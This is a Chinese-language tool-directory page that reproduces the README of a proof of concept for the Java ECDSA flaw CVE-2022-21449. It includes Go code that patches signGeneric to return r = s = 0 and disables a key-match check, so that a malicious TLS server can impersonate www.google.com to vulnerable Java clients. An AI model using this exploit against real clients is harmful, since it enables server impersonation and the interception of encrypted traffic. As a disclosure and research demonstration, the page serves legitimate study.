Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-21449-TLS-PoC — CVE-2022-21449 概念验证,演示其与运行在易受攻击的 Java 版本上的客户端以及恶意 TLS 服务器配合使用的方式。 | Kitploit
工具/GitHubGitHub/notkmhn/cve-2022-21449-tls-poc
漏洞分析漏洞利用Web安全密码学渗透测试
GitHubnotkmhn/cve-2022-21449-tls-poc

CVE-2022-21449-TLS-PoC

CVE-2022-21449 概念验证,演示其与运行在易受攻击的 Java 版本上的客户端以及恶意 TLS 服务器配合使用的方式。

查看仓库
1212426个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-21449-TLS-PoC

CVE-2022-21449(在 Neil Madden 的漏洞分析文章中也被称为“Psychic Signatures”)的概念验证,演示了如何将其用于易受攻击的客户端和恶意 TLS 服务器。

恶意服务器展示了一个截至 2022-04-20 对 www.google.com 有效的证书链,该证书链带有 ECDSA 公钥(secp256r1)。但是,crypto/ecdsa 包已被修改为提供 r = s = 0 的无效签名。易受攻击的客户端接受此无效签名,从而使 TLS 握手能够继续进行。

除了在构建和探索过程中移除的 *_test.go 文件之外,恶意 TLS 服务器还需要对 golang 加密库进行这些修改。也可以通过搜索/在 go/src 目录中 grep CVE-2022-21449 来找到它们。

构建

需要一些现有的 golang 安装以及 maven,然后运行 ./build.sh。

已在 Ubuntu 20.04.4 LTS(WSL2)上使用 OpenJDK 16.0.1(build 16.0.1+9-Ubuntu-120.04, 2021-04-20)测试。

演示

https://user-images.githubusercontent.com/7225227/164332612-832b046b-cd2e-46e8-b3d6-1da36e290992.mp4

对 golang 加密库的修改

在 crypto/ecdsa/ecdsa.go 中,函数 signGeneric 基本上被修改为:

root@kitploit:~
func signGeneric(priv *PrivateKey, csprng *cipher.StreamReader, c elliptic.Curve, hash []byte) (r, s *big.Int, err error) {
        // SEC 1, Version 2.0, Section 4.1.3
        // CVE-2022-21449 - Modified and removed all calculations. Return r = s = 0
        r = new(big.Int)
        s = new(big.Int)
        return
}

而在 crypto/tls/tls.go 中,函数 X509KeyPair 已被更改,以禁用针对 ECDSA 公钥的、用于验证给定私钥与 X.509 证书公钥匹配的检查:

root@kitploit:~
// X509KeyPair parses a public/private key pair from a pair of
// PEM encoded data. On successful return, Certificate.Leaf will be nil because
// the parsed form of the certificate is not retained.
func X509KeyPair(certPEMBlock, keyPEMBlock []byte) (Certificate, error) {
        fail := func(err error) (Certificate, error) { return Certificate{}, err }
        ...
        switch pub := x509Cert.PublicKey.(type) {
        ...
        case *ecdsa.PublicKey:
                // CVE-2022-21449: Modified checks away
                _, ok := cert.PrivateKey.(*ecdsa.PrivateKey)
                if !ok {
                        return fail(errors.New("tls: private key type does not match public key type"))
                }
                /*if pub.X.Cmp(priv.X) != 0 || pub.Y.Cmp(priv.Y) != 0 {
                        return fail(errors.New("tls: private key does not match public key"))
                }*/
         ...
}

致谢

  • Neil Madden:发现并披露了 CVE-2022-21449,其精彩的分析文章对此有详细说明。
  • Khaled Nassar:本 PoC。
下载工具